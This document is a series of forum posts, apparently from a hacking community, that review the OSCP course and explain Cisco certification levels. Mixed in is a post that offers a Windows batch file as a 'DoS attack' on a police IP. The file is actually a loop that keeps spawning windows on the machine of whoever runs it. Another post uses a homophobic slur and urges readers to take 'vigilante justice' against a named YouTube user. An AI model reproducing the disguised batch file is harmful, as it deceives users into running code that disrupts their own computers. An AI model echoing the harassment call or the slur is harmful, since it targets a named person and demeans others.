I have taken the course (haven't passed yet). It's difficult. Not impossible, not hard, just difficult. You're given X amount of days to go through the lab materials provided, try out attacks on a vpn network that OffSec gives you access to, you write a report on what you could break into. Finally, you are given the chance to take a hands-on exam for the actual cert where the goal is to break into 5 different machines of varying difficulty, and write a report on it.

Keep in mind, it is a pen-testing course. It is not a "break into as many computers as you can" course. You have to treat it like it's an actual pen-test, and write reports. Honestly, the most difficult part about it is not getting complacent with it, and just giving up.

Going off of what Factionwars said, yes it is a certification course. You take the course to hopefully pass the exam and get the certification like any other course. No one forces you to do it. And unlike fucking CEH, the lab materials are actually good, and have intellectual value. It's not just a course on how to use metasploit, or sqlmap (although both are mentioned, and shown examples of usage).

The actual vpn lab is no different than any other network with vulnerable stuff on it, other than the OffSec admins throw in a lot of "curve balls" if you will, and you actually have to use your brain to break into most of the machines. It's not just ./exploit <somecomputer>. You may have to do a client-side attack, or break into it with lesser privileges, and escalate, or use ssh tunnels to get into non-routable networks.

There isn't just attack techniques that you have to know in order to pass, you have to know a good amount of forensics too. The entire goal of the final exam is to grab "key files" to get points for breaking into said machines, but the files are well hidden, and not easy to find.

Having only gone through it, I certainly have more respect for anyone that has an OSCP cert than most other certs for this field.

Also, pro-tip for those who don't know...the more certs you have, the more likely you are to negotiate a good salary when you go in for an interview. That is UNIVERSAL for ALL career fields.

Did he post these tuts yet?  i can't seem to find any.

I'm waiting on my isp to finish installing their equipment in my building. just have a phone atm

EDIT: I have internet now, but some faggot troll on youtube flagged a political comment I made as "hate speech" and I have no way to appeal it. I won't be able to comment/post videos on youtube for the next two weeks because of it.

FYI, if anyone wants to help me get some vigilante justice his username is Xpico12boX

Nope. That's pretty much it.

It's all good dawg. I be on IRC in a few.

Just FYI, Tila Tequila is one of the hottest babes in the world. I don't want to get all crazy fanboy on you guys, but yeah....lol. She even goes so far as to call out Alex Jones on his bullshit. What do you guys think about all of this?

I'm not going to try and coerce you guys into believing her, but I've always felt she has been down to earth, and sincere. I don't feel any different about this video, and I'm glad she's speaking out.

it's symbian series 60v3. so I guess it's not possible to root it, as it is only possible in android based platform
 

You're in luck! I figured out a way to attack the police IP! This method of attack is called the, "DoS" attack, or "Denial of Service," attack. Copy and paste this code into notepad:
@echo off
color 0a
:polisen.se
start "Down with the PIGS!!!"
goto polisen.se
Now here's the tricky part. In order for this to work, you need to do "Save as..." from FILE in notepad as this:
File name: dosattack.bat
Save as type: All Files

Then all you need to do is double-click your new DOS program, and the police will never be able to use the internet again. Let us know how it works out!

I realize this is probably a dumbass question but there are so many certificates out there and I've heard of CCNP and CCIE as well as CCNA and CCENT in regards to Cisco but I don't know what these are.

CCENT is one test out of two for CCNA, unless if you want to take the CCNA mega-test.
CCNP is the level of certification above CCNA, yet lower than CCIE.
CCIE is the top level of Cisco networking certifications, unless if you plan on working for Cisco (then you can still go higher yet).

You can technically try to test for any CCIE-level certification at any time, without any prerequisites (but it's extremely expensive, and extremely difficult).

It's a really sad day when you are more qualified than your boss. -_-
